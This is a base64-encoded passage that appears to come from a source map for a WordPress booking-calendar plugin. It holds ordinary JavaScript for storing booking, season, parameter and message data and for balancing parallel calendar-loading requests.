VfaWQgXVsgJ2RhdGVzJyBdWyBzcWxfY2xhc3NfZGF5IF07XHJcblx0XHR9XHJcblxyXG5cdFx0cmV0dXJuIGZhbHNlO1x0XHQvLyBJZiBzb21lIHByb3BlcnR5IG5vdCBkZWZpbmVkLCB0aGVuIGZhbHNlO1xyXG5cdH07XHJcblxyXG5cclxuXHQvLyBBbnkgIFBBUkFNUyAgIGluIGJvb2tpbmdzXHJcblxyXG5cdC8qKlxyXG5cdCAqIFNldCBwcm9wZXJ0eSAgdG8gIGJvb2tpbmdcclxuXHQgKiBAcGFyYW0gcmVzb3VyY2VfaWRcdFwiMVwiXHJcblx0ICogQHBhcmFtIHByb3BfbmFtZVx0XHRuYW1lIG9mIHByb3BlcnR5XHJcblx0ICogQHBhcmFtIHByb3BfdmFsdWVcdHZhbHVlIG9mIHByb3BlcnR5XHJcblx0ICogQHJldHVybnMgeyp9XHRcdFx0Ym9va2luZyBvYmplY3RcclxuXHQgKi9cclxuXHRvYmouYm9va2luZ19fc2V0X3BhcmFtX3ZhbHVlID0gZnVuY3Rpb24gKCByZXNvdXJjZV9pZCwgcHJvcF9uYW1lLCBwcm9wX3ZhbHVlICkge1xyXG5cclxuXHRcdGlmICggISBvYmouYm9va2luZ3NfaW5fY2FsZW5kYXJfX2lzX2RlZmluZWQoIHJlc291cmNlX2lkICkgKXtcclxuXHRcdFx0cF9ib29raW5nc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdID0ge307XHJcblx0XHRcdHBfYm9va2luZ3NbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXVsgJ2lkJyBdID0gcmVzb3VyY2VfaWQ7XHJcblx0XHR9XHJcblxyXG5cdFx0cF9ib29raW5nc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyBwcm9wX25hbWUgXSA9IHByb3BfdmFsdWU7XHJcblxyXG5cdFx0cmV0dXJuIHBfYm9va2luZ3NbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXTtcclxuXHR9O1xyXG5cclxuXHQvKipcclxuXHQgKiAgR2V0IGJvb2tpbmcgcHJvcGVydHkgdmFsdWUgICBcdDo6ICAgbWl4ZWQgfCBudWxsXHJcblx0ICpcclxuXHQgKiBAcGFyYW0ge3N0cmluZ3xpbnR9ICByZXNvdXJjZV9pZFx0XHQnMSdcclxuXHQgKiBAcGFyYW0ge3N0cmluZ30gcHJvcF9uYW1lXHRcdFx0J3NlbGVjdGlvbl9tb2RlJ1xyXG5cdCAqIEByZXR1cm5zIHsqfG51bGx9XHRcdFx0XHRcdG1peGVkIHwgbnVsbFxyXG5cdCAqL1xyXG5cdG9iai5ib29raW5nX19nZXRfcGFyYW1fdmFsdWUgPSBmdW5jdGlvbiggcmVzb3VyY2VfaWQsIHByb3BfbmFtZSApe1xyXG5cclxuXHRcdGlmIChcclxuXHRcdFx0ICAgKCBvYmouYm9va2luZ3NfaW5fY2FsZW5kYXJfX2lzX2RlZmluZWQoIHJlc291cmNlX2lkICkgKVxyXG5cdFx0XHQmJiAoICd1bmRlZmluZWQnICE9PSB0eXBlb2YgKCBwX2Jvb2tpbmdzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF1bIHByb3BfbmFtZSBdICkgKVxyXG5cdFx0KXtcclxuXHRcdFx0cmV0dXJuICBwX2Jvb2tpbmdzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF1bIHByb3BfbmFtZSBdO1xyXG5cdFx0fVxyXG5cclxuXHRcdHJldHVybiBudWxsO1x0XHQvLyBJZiBzb21lIHByb3BlcnR5IG5vdCBkZWZpbmVkLCB0aGVuIG51bGw7XHJcblx0fTtcclxuXHJcblxyXG5cclxuXHJcblx0LyoqXHJcblx0ICogU2V0IGJvb2tpbmdzIGZvciBhbGwgIGNhbGVuZGFyc1xyXG5cdCAqXHJcblx0ICogQHBhcmFtIHtvYmplY3R9IGNhbGVuZGFyc19vYmpcdFx0T2JqZWN0IHsgY2FsZW5kYXJfMTogeyBpZDogMSwgZGF0ZXM6IE9iamVjdCB7IFwiMjAyMy0wNy0yMlwiOiB74oCmfSwgXCIyMDIzLTA3LTIzXCI6IHvigKZ9LCBcIjIwMjMtMDctMjRcIjoge+KApn0sIOKApiB9IH1cclxuXHQgKiBcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQgY2FsZW5kYXJfMzoge30sIC4uLiB9XHJcblx0ICovXHJcblx0b2JqLmJvb2tpbmdzX2luX2NhbGVuZGFyc19fc2V0X2FsbCA9IGZ1bmN0aW9uICggY2FsZW5kYXJzX29iaiApIHtcclxuXHRcdHBfYm9va2luZ3MgPSBjYWxlbmRhcnNfb2JqO1xyXG5cdH07XHJcblxyXG5cdC8qKlxyXG5cdCAqIEdldCBib29raW5ncyBpbiBhbGwgY2FsZW5kYXJzXHJcblx0ICpcclxuXHQgKiBAcmV0dXJucyB7b2JqZWN0fHt9fVxyXG5cdCAqL1xyXG5cdG9iai5ib29raW5nc19pbl9jYWxlbmRhcnNfX2dldF9hbGwgPSBmdW5jdGlvbiAoKSB7XHJcblx0XHRyZXR1cm4gcF9ib29raW5ncztcclxuXHR9O1xyXG5cdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblxyXG5cclxuXHJcblxyXG5cdC8vIFNlYXNvbnMgXHQtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0dmFyIHBfc2Vhc29ucyA9IG9iai5zZWFzb25zX29iaiA9IG9iai5zZWFzb25zX29iaiB8fCB7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gY2FsZW5kYXJfMTogT2JqZWN0IHtcclxuIFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly9cdFx0XHRcdFx0XHQgICBpZDogICAgIDFcclxuIFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly9cdFx0XHRcdFx0XHQgLCBkYXRlczogIE9iamVjdCB7IFwiMjAyMy0wNy0yMVwiOiB74oCmfSwgXCIyMDIzLTA3LTIyXCI6IHvigKZ9LCBcIjIwMjMtMDctMjNcIjoge+KApn0sIOKAplxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vIH1cclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0fTtcclxuXHJcblx0LyoqXHJcblx0ICogQWRkIHNlYXNvbiBuYW1lcyBmb3IgZGF0ZXMgaW4gY2FsZW5kYXIgb2JqZWN0ICAgOjogICAgeyBcIjIwMjMtMDctMjFcIjogWyAnd3BiY19zZWFzb25fc2VwdGVtYmVyXzIwMjMnLCAnd3BiY19zZWFzb25fc2VwdGVtYmVyXzIwMjQnIF0sIFwiMjAyMy0wNy0yMlwiOiBbLi4uXSwgLi4uIH1cclxuXHQgKlxyXG5cdCAqXHJcblx0ICogQHBhcmFtIHtzdHJpbmd8aW50fSByZXNvdXJjZV9pZFx0XHRcdFx0ICAnMidcclxuXHQgKiBAcGFyYW0ge29iamVjdH0gZGF0ZXNfb2JqXHRcdFx0XHRcdCAgeyBcIjIwMjMtMDctMjFcIjoge+KApn0sIFwiMjAyMy0wNy0yMlwiOiB74oCmfSwgXCIyMDIzLTA3LTIzXCI6IHvigKZ9LCDigKYgfVxyXG5cdCAqIEBwYXJhbSB7Ym9vbGVhbn0gaXNfY29tcGxldGVfb3ZlcndyaXRlXHRcdCAgaWYgZmFsc2UsICB0aGVuICBvbmx5ICBhZGQgIGRhdGVzIGZyb20gXHRkYXRlc19vYmpcclxuXHQgKiBAcmV0dXJucyB7Kn1cclxuXHQgKlxyXG5cdCAqIEV4YW1wbGVzOlxyXG5cdCAqICAgXHRcdFx0X3dwYmMuc2Vhc29uc19fc2V0KCByZXNvdXJjZV9pZCwgeyBcIjIwMjMtMDctMjFcIjogWyAnd3BiY19zZWFzb25fc2VwdGVtYmVyXzIwMjMnLCAnd3BiY19zZWFzb25fc2VwdGVtYmVyXzIwMjQnIF0sIFwiMjAyMy0wNy0yMlwiOiBbLi4uXSwgLi4uIH0gICk7XHJcblx0ICovXHJcblx0b2JqLnNlYXNvbnNfX3NldCA9IGZ1bmN0aW9uKCByZXNvdXJjZV9pZCwgZGF0ZXNfb2JqICwgaXNfY29tcGxldGVfb3ZlcndyaXRlID0gZmFsc2UgKXtcclxuXHJcblx0XHRpZiAoICd1bmRlZmluZWQnID09PSB0eXBlb2YgKHBfc2Vhc29uc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdKSApe1xyXG5cdFx0XHRwX3NlYXNvbnNbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXSA9IHt9O1xyXG5cdFx0fVxyXG5cclxuXHRcdGlmICggaXNfY29tcGxldGVfb3ZlcndyaXRlICl7XHJcblxyXG5cdFx0XHQvLyBDb21wbGV0ZSBvdmVyd3JpdGUgYWxsICBzZWFzb24gZGF0ZXNcclxuXHRcdFx0cF9zZWFzb25zWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF0gPSBkYXRlc19vYmo7XHJcblxyXG5cdFx0fSBlbHNlIHtcclxuXHJcblx0XHRcdC8vIEFkZCBvbmx5ICBuZXcgb3Igb3ZlcndyaXRlIGV4aXN0IGJvb2tpbmcgZGF0ZXMgZnJvbSAgcGFyYW1ldGVyLiBCb29raW5nIGRhdGVzIG5vdCBmcm9tICBwYXJhbWV0ZXIgIHdpbGwgIGJlIHdpdGhvdXQgY2huYW5nZXNcclxuXHRcdFx0Zm9yICggdmFyIHByb3BfbmFtZSBpbiBkYXRlc19vYmogKXtcclxuXHJcblx0XHRcdFx0aWYgKCAndW5kZWZpbmVkJyA9PT0gdHlwZW9mIChwX3NlYXNvbnNbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXVsgcHJvcF9uYW1lIF0pICl7XHJcblx0XHRcdFx0XHRwX3NlYXNvbnNbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXVsgcHJvcF9uYW1lIF0gPSBbXTtcclxuXHRcdFx0XHR9XHJcblx0XHRcdFx0Zm9yICggdmFyIHNlYXNvbl9uYW1lX2tleSBpbiBkYXRlc19vYmpbIHByb3BfbmFtZSBdICl7XHJcblx0XHRcdFx0XHRwX3NlYXNvbnNbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXVsgcHJvcF9uYW1lIF0ucHVzaCggZGF0ZXNfb2JqWyBwcm9wX25hbWUgXVsgc2Vhc29uX25hbWVfa2V5IF0gKTtcclxuXHRcdFx0XHR9XHJcblx0XHRcdH1cclxuXHRcdH1cclxuXHJcblx0XHRyZXR1cm4gcF9zZWFzb25zWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF07XHJcblx0fTtcclxuXHJcblxyXG5cdC8qKlxyXG5cdCAqICBHZXQgYm9va2luZ3MgZGF0YSBmb3Igc3BlY2lmaWMgZGF0ZSBpbiBjYWxlbmRhciAgIDo6ICAgW10gfCBbICd3cGJjX3NlYXNvbl9zZXB0ZW1iZXJfMjAyMycsICd3cGJjX3NlYXNvbl9zZXB0ZW1iZXJfMjAyNCcgXVxyXG5cdCAqXHJcblx0ICogQHBhcmFtIHtzdHJpbmd8aW50fSByZXNvdXJjZV9pZFx0XHRcdCcxJ1xyXG5cdCAqIEBwYXJhbSB7c3RyaW5nfSBzcWxfY2xhc3NfZGF5XHRcdFx0JzIwMjMtMDctMjEnXHJcblx0ICogQHJldHVybnMge29iamVjdHxib29sZWFufVx0XHRcdFx0W10gIHwgIFsgJ3dwYmNfc2Vhc29uX3NlcHRlbWJlcl8yMDIzJywgJ3dwYmNfc2Vhc29uX3NlcHRlbWJlcl8yMDI0JyBdXHJcblx0ICovXHJcblx0b2JqLnNlYXNvbnNfX2dldF9mb3JfZGF0ZSA9IGZ1bmN0aW9uKCByZXNvdXJjZV9pZCwgc3FsX2NsYXNzX2RheSApe1xyXG5cclxuXHRcdGlmIChcclxuXHRcdFx0ICAgKCAndW5kZWZpbmVkJyAhPT0gdHlwZW9mICggcF9zZWFzb25zWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF0gKSApXHJcblx0XHRcdCYmICggJ3VuZGVmaW5lZCcgIT09IHR5cGVvZiAoIHBfc2Vhc29uc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyBzcWxfY2xhc3NfZGF5IF0gKSApXHJcblx0XHQpe1xyXG5cdFx0XHRyZXR1cm4gIHBfc2Vhc29uc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyBzcWxfY2xhc3NfZGF5IF07XHJcblx0XHR9XHJcblxyXG5cdFx0cmV0dXJuIFtdO1x0XHQvLyBJZiBub3QgZGVmaW5lZCwgdGhlbiBbXTtcclxuXHR9O1xyXG5cclxuXHJcblx0Ly8gT3RoZXIgcGFyYW1ldGVycyBcdFx0XHQtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHR2YXIgcF9vdGhlciA9IG9iai5vdGhlcl9vYmogPSBvYmoub3RoZXJfb2JqIHx8IHsgfTtcclxuXHJcblx0b2JqLnNldF9vdGhlcl9wYXJhbSA9IGZ1bmN0aW9uICggcGFyYW1fa2V5LCBwYXJhbV92YWwgKSB7XHJcblx0XHRwX290aGVyWyBwYXJhbV9rZXkgXSA9IHBhcmFtX3ZhbDtcclxuXHR9O1xyXG5cclxuXHRvYmouZ2V0X290aGVyX3BhcmFtID0gZnVuY3Rpb24gKCBwYXJhbV9rZXkgKSB7XHJcblx0XHRyZXR1cm4gcF9vdGhlclsgcGFyYW1fa2V5IF07XHJcblx0fTtcclxuXHJcblx0LyoqXHJcblx0ICogR2V0IGFsbCBvdGhlciBwYXJhbXNcclxuXHQgKlxyXG5cdCAqIEByZXR1cm5zIHtvYmplY3R8e319XHJcblx0ICovXHJcblx0b2JqLmdldF9vdGhlcl9wYXJhbV9fYWxsID0gZnVuY3Rpb24gKCkge1xyXG5cdFx0cmV0dXJuIHBfb3RoZXI7XHJcblx0fTtcclxuXHJcblx0Ly8gTWVzc2FnZXMgXHRcdFx0ICAgICAgICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHR2YXIgcF9tZXNzYWdlcyA9IG9iai5tZXNzYWdlc19vYmogPSBvYmoubWVzc2FnZXNfb2JqIHx8IHsgfTtcclxuXHJcblx0b2JqLnNldF9tZXNzYWdlID0gZnVuY3Rpb24gKCBwYXJhbV9rZXksIHBhcmFtX3ZhbCApIHtcclxuXHRcdHBfbWVzc2FnZXNbIHBhcmFtX2tleSBdID0gcGFyYW1fdmFsO1xyXG5cdH07XHJcblxyXG5cdG9iai5nZXRfbWVzc2FnZSA9IGZ1bmN0aW9uICggcGFyYW1fa2V5ICkge1xyXG5cdFx0cmV0dXJuIHBfbWVzc2FnZXNbIHBhcmFtX2tleSBdO1xyXG5cdH07XHJcblxyXG5cdC8qKlxyXG5cdCAqIEdldCBhbGwgb3RoZXIgcGFyYW1zXHJcblx0ICpcclxuXHQgKiBAcmV0dXJucyB7b2JqZWN0fHt9fVxyXG5cdCAqL1xyXG5cdG9iai5nZXRfbWVzc2FnZXNfX2FsbCA9IGZ1bmN0aW9uICgpIHtcclxuXHRcdHJldHVybiBwX21lc3NhZ2VzO1xyXG5cdH07XHJcblxyXG5cdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblxyXG5cdHJldHVybiBvYmo7XHJcblxyXG59KCBfd3BiYyB8fCB7fSwgalF1ZXJ5ICkpO1xyXG4iLCIvKipcclxuICogRXh0ZW5kIF93cGJjIHdpdGggIG5ldyBtZXRob2RzICAgICAgICAvL0ZpeEluOiA5LjguNi4yXHJcbiAqXHJcbiAqIEB0eXBlIHsqfHt9fVxyXG4gKiBAcHJpdmF0ZVxyXG4gKi9cclxuIF93cGJjID0gKGZ1bmN0aW9uICggb2JqLCAkKSB7XHJcblxyXG5cdC8vIExvYWQgQmFsYW5jZXIgXHQtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cclxuXHR2YXIgcF9iYWxhbmNlciA9IG9iai5iYWxhbmNlcl9vYmogPSBvYmouYmFsYW5jZXJfb2JqIHx8IHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnbWF4X3RocmVhZHMnOiAyLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdpbl9wcm9jZXNzJyA6IFtdLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd3YWl0JyAgICAgICA6IFtdXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdH07XHJcblxyXG5cdCAvKipcclxuXHQgICogU2V0ICBtYXggcGFyYWxsZWwgcmVxdWVzdCAgdG8gIGxvYWRcclxuXHQgICpcclxuXHQgICogQHBhcmFtIG1heF90aHJlYWRzXHJcblx0ICAqL1xyXG5cdG9iai5iYWxhbmNlcl9fc2V0X21heF90aHJlYWRzID0gZnVuY3Rpb24gKCBtYXhfdGhyZWFkcyApe1xyXG5cclxuXHRcdHBfYmFsYW5jZXJbICdtYXhfdGhyZWFkcycgXSA9IG1heF90aHJlYWRzO1xyXG5cdH07XHJcblxyXG5cdC8qKlxyXG5cdCAqICBDaGVjayBpZiBiYWxhbmNlciBmb3Igc3BlY2lmaWMgYm9va2luZyByZXNvdXJjZSBkZWZpbmVkICAgOjogICB0cnVlIHwgZmFsc2VcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSB7c3RyaW5nfGludH0gcmVzb3VyY2VfaWRcclxuXHQgKiBAcmV0dXJucyB7Ym9vbGVhbn1cclxuXHQgKi9cclxuXHRvYmouYmFsYW5jZXJfX2lzX2RlZmluZWQgPSBmdW5jdGlvbiAoIHJlc291cmNlX2lkICkge1xyXG5cclxuXHRcdHJldHVybiAoJ3VuZGVmaW5lZCcgIT09IHR5cGVvZiggcF9iYWxhbmNlclsgJ2JhbGFuY2VyXycgKyByZXNvdXJjZV9pZCBdICkgKTtcclxuXHR9O1xyXG5cclxuXHJcblx0LyoqXHJcblx0ICogIENyZWF0ZSBiYWxhbmNlciBpbml0aWFsaXppbmdcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSB7c3RyaW5nfGludH0gcmVzb3VyY2VfaWRcclxuXHQgKi9cclxuXHRvYmouYmFsYW5jZXJfX2luaXQgPSBmdW5jdGlvbiAoIHJlc291cmNlX2lkLCBmdW5jdGlvbl9uYW1lICwgcGFyYW1zID17fSkge1xyXG5cclxuXHRcdHZhciBiYWxhbmNlX29iaiA9IHt9O1xyXG5cdFx0YmFsYW5jZV9vYmpbICdyZXNvdXJjZV9pZCcgXSAgID0gcmVzb3VyY2VfaWQ7XHJcblx0XHRiYWxhbmNlX29ialsgJ3ByaW9yaXR5JyBdICAgICAgPSAxO1xyXG5cdFx0YmFsYW5jZV9vYmpbICdmdW5jdGlvbl9uYW1lJyBdID0gZnVuY3Rpb25fbmFtZTtcclxuXHRcdGJhbGFuY2Vfb2JqWyAncGFyYW1zJyBdICAgICAgICA9IHdwYmNfY2xvbmVfb2JqKCBwYXJhbXMgKTtcclxuXHJcblxyXG5cdFx0aWYgKCBvYmouYmFsYW5jZXJfX2lzX2FscmVhZHlfcnVuKCByZXNvdXJjZV9pZCwgZnVuY3Rpb25fbmFtZSApICl7XHJcblx0XHRcdHJldHVybiAncnVuJztcclxuXHRcdH1cclxuXHRcdGlmICggb2JqLmJhbGFuY2VyX19pc19hbHJlYWR5X3dhaXQoIHJlc291cmNlX2lkLCBmdW5jdGlvbl9uYW1lICkgKXtcclxuXHRcdFx0cmV0dXJuICd3YWl0JztcclxuXHRcdH1cclxuXHJcblxyXG5cdFx0aWYgKCBvYmouYmFsYW5jZXJfX2Nhbl9pX3J1bigpICl7XHJcblx0XHRcdG9iai5iYWxhbmNlcl9fYWRkX3RvX19ydW4oIGJhbGFuY2Vfb2JqICk7XHJcblx0XHRcdHJldHVybiAncnVuJztcclxuXHRcdH0gZWxzZSB7XHJcblx0XHRcdG9iai5iYWxhbmNlcl9fYWRkX3RvX193YWl0KCBiYWxhbmNlX29iaiApO1xyXG5cdFx0XHRyZXR1cm4gJ3dhaXQnO1xyXG5cdFx0fVxyXG5cdH07XHJcblxyXG5cdCAvKipcclxuXHQgICogQ2FuIEkgUnVuID9cclxuXHQgICogQHJldHVybnMge2Jvb2xlYW59XHJcblx0ICAqL1xyXG5cdG9iai5iYWxhbmNlcl9fY2FuX2lfcnVuID0gZnVuY3Rpb24gKCl7XHJcblx0XHRyZXR1cm4gKCBwX2JhbGFuY2VyWyAnaW5fcHJvY2VzcycgXS5sZW5ndGggPCBwX2JhbGFuY2VyWyAnbWF4X3RocmVhZHMnIF0gKTtcclxuXHR9XHJcblxyXG5cdFx0IC8qKlxyXG5cdFx0ICAqIEFkZCB0byBXQUlUXHJcblx0XHQgICogQHBhcmFtIGJhbGFuY2Vfb2JqXHJcblx0XHQgICovXHJcblx0XHRvYmouYmFsYW5jZXJfX2FkZF90b19fd2FpdCA9IGZ1bmN0aW9uICggYmFsYW5jZV9vYmogKSB7XHJcblx0XHRcdHBfYmFsYW5jZXJbJ3dhaXQnXS5wdXNoKCBiYWxhbmNlX29iaiApO1xyXG5cdFx0fVxyXG5cclxuXHRcdCAvKipcclxuXHRcdCAgKiBSZW1vdmUgZnJvbSBXYWl0XHJcblx0XHQgICpcclxuXHRcdCAgKiBAcGFyYW0gcmVzb3VyY2VfaWRcclxuXHRcdCAgKiBAcGFyYW0gZnVuY3Rpb25fbmFtZVxyXG5cdFx0ICAqIEByZXR1cm5zIHsqfGJvb2xlYW59XHJcblx0XHQgICovXHJcblx0XHRvYmouYmFsYW5jZXJfX3JlbW92ZV9mcm9tX193YWl0X2xpc3QgPSBmdW5jdGlvbiAoIHJlc291cmNlX2lkLCBmdW5jdGlvbl9uYW1lICl7XHJcblxyXG5cdFx0XHR2YXIgcmVtb3ZlZF9lbCA9IGZhbHNlO1xyXG5cclxuXHRcdFx0aWYgKCBwX2JhbGFuY2VyWyAnd2FpdCcgXS5sZW5ndGggKXtcdFx0XHRcdFx0Ly9GaXhJbjogOS44LjEwLjFcclxuXHRcdFx0XHRmb3IgKCB2YXIgaSBpbiBwX2JhbGFuY2VyWyAnd2FpdCcgXSApe1xyXG5cdFx0XHRcdFx0aWYgKFxyXG5cdFx0XHRcdFx0XHQocmVzb3VyY2VfaWQgPT09IHBfYmFsYW5jZXJbICd3YWl0JyBdWyBpIF1bICdyZXNvdXJjZV9pZCcgXSlcclxuXHRcdFx0XHRcdFx0JiYgKGZ1bmN0aW9uX25hbWUgPT09IHBfYmFsYW5jZXJbICd3YWl0JyBdWyBpIF1bICdmdW5jdGlvbl9uYW1lJyBdKVxyXG5cdFx0XHRcdFx0KXtcclxuXHRcdFx0XHRcdFx0cmVtb3ZlZF9lbCA9IHBfYmFsYW5jZXJbICd3YWl0JyBdLnNwbGljZSggaSwgMSApO1xyXG5cdFx0XHRcdFx0XHRyZW1vdmVkX2VsID0gcmVtb3ZlZF9lbC5wb3AoKTtcclxuXHRcdFx0XHRcdFx0cF9iYWxhbmNlclsgJ3dhaXQnIF0gPSBwX2JhbGFuY2VyWyAnd2FpdCcgXS5maWx0ZXIoIGZ1bmN0aW9uICggdiApe1xyXG5cdFx0XHRcdFx0XHRcdHJldHVybiB2O1xyXG5cdFx0XHRcdFx0XHR9ICk7XHRcdFx0XHRcdC8vIFJlaW5kZXggYXJyYXlcclxuXHRcdFx0XHRcdFx0cmV0dXJuIHJlbW92ZWRfZWw7XHJcblx0XHRcdFx0XHR9XHJcblx0XHRcdFx0fVxyXG5cdFx0XHR9XHJcblx0XHRcdHJldHVybiByZW1vdmVkX2VsO1xyXG5cdFx0fVxyXG5cclxuXHRcdC8qKlxyXG5cdFx0KiBJcyBhbHJlYWR5IFdBSVRcclxuXHRcdCpcclxuXHRcdCogQHBhcmFtIHJlc291cmNlX2lkXHJcblx0XHQqIEBwYXJhbSBmdW5jdGlvbl9uYW1lXHJcblx0XHQqIEByZXR1cm5zIHtib29sZWFufVxyXG5cdFx0Ki9cclxuXHRcdG9iai5iYWxhbmNlcl9faXNfYWxyZWFkeV93YWl0ID0gZnVuY3Rpb24gKCByZXNvdXJjZV9pZCwgZnVuY3Rpb25fbmFtZSApe1xyXG5cclxuXHRcdFx0aWYgKCBwX2JhbGFuY2VyWyAnd2FpdCcgXS5sZW5ndGggKXtcdFx0XHRcdC8vRml4SW46IDkuOC4xMC4xXHJcblx0XHRcdFx0Zm9yICggdmFyIGkgaW4gcF9iYWxhbmNlclsgJ3dhaXQnIF0gKXtcclxuXHRcdFx0XHRcdGlmIChcclxuXHRcdFx0XHRcdFx0KHJlc291cmNlX2lkID09PSBwX2JhbGFuY2VyWyAnd2FpdCcgXVsgaSBdWyAncmVzb3VyY2VfaWQnIF0pXHJcblx0XHRcdFx0XHRcdCYmIChmdW5jdGlvbl9uYW1lID09PSBwX2JhbGFuY2VyWyAnd2FpdCcgXVsgaSBdWyAnZnVuY3Rpb25fbmFtZScgXSlcclxuXHRcdFx0XHRcdCl7XHJcblx0XHRcdFx0XHRcdHJldHVybiB0cnVlO1xyXG5cdFx0XHRcdFx0fVxyXG5cdFx0XHRcdH1cclxuXHRcdFx0fVxyXG5cdFx0XHRyZXR1cm4gZmFsc2U7XHJcblx0XHR9XHJcblxyXG5cclxuXHRcdCAvKipcclxuXHRcdCAgKiBBZGQgdG8gUlVOXHJcblx0XHQgICogQHBhcmFtIGJhbGFuY2Vfb2JqXHJcblx0XHQgICovXHJcblx0XHRvYmouYmFsYW5jZXJfX2FkZF90b19fcnVuID0gZnVuY3Rpb24gKCBiYWxhbmNlX29iaiApIHtcclxuXHRcdFx0cF9iYWxhbmNlclsnaW5fcHJvY2VzcyddLnB1c2goIGJhbGFuY2Vfb2JqICk7XHJcblx0XHR9XHJcblxyXG5cdFx0LyoqXHJcblx0XHQqIFJlbW92ZSBmcm9tIFJVTiBsaXN0XHJcblx0XHQqXHJcblx0XHQqIEBwYXJhbSByZXNvdXJjZV9pZFxyXG5cdFx0KiBAcGFyYW0gZnVuY3Rpb25fbmFtZVxyXG5cdFx0KiBAcmV0dXJucyB7Knxib29sZWFufVxyXG5cdFx0Ki9cclxuXHRcdG9iai5iYWxhbmNlcl9fcmVtb3ZlX2Zyb21fX3J1bl9saXN0ID0gZnVuY3Rpb24gKCByZXNvdXJjZV9pZCwgZnVuY3Rpb25fbmFtZSApe1xyXG5cclxuXHRcdFx0IHZhciByZW1vdmVkX2VsID0gZmFsc2U7XHJcblxyXG5cdFx0XHQgaWYgKCBwX2JhbGFuY2VyWyAnaW5fcHJvY2VzcycgXS5sZW5ndGggKXtcdFx0XHRcdC8vRml4SW46IDkuOC4xMC4xXHJcblx0XHRcdFx0IGZvciAoIHZhciBpIGluIHBfYmFsYW5jZXJbICdpbl9wcm9jZXNzJyBdICl7XHJcblx0XHRcdFx0XHQgaWYgKFxyXG5cdFx0XHRcdFx0XHQgKHJlc291cmNlX2lkID09PSBwX2JhbGFuY2VyWyAnaW5fcHJvY2VzcycgXVsgaSBdWyAncmVzb3VyY2VfaWQnIF0pXHJcblx0XHRcdFx0XHRcdCAmJiAoZnVuY3Rpb25fbmFtZSA9PT0gcF9iYWxhbmNlclsgJ2luX3Byb2Nlc3MnIF1bIGkgXVsgJ2Z1bmN0aW9uX25hbWUnIF0pXHJcblx0XHRcdFx0XHQgKXtcclxuXHRcdFx0XHRcdFx0IHJlbW92ZWRfZWwgPSBwX2JhbGFuY2VyWyAnaW5fcHJvY2VzcycgXS5zcGxpY2UoIGksIDEgKTtcclxuXHRcdFx0XHRcdFx0IHJlbW92ZWRfZWwgPSByZW1vdmVkX2VsLnBvcCgpO1xyXG5cdFx0XHRcdFx0XHQgcF9iYWxhbmNlclsgJ2luX3Byb2Nlc3MnIF0gPSBwX2JhbGFuY2VyWyAnaW5fcHJvY2VzcycgXS5maWx0ZXIoIGZ1bmN0aW9uICggdiApe1xyXG5cdFx0XHRcdFx0XHRcdCByZXR1cm4gdjtcclxuXHRcdFx0XHRcdFx0IH0gKTtcdFx0Ly8gUmVpbmRleCBhcnJheVxyXG5cdFx0XHRcdFx0XHQgcmV0dXJuIHJlbW92ZWRfZWw7XHJcblx0XHRcdFx0XHQgfVxyXG5c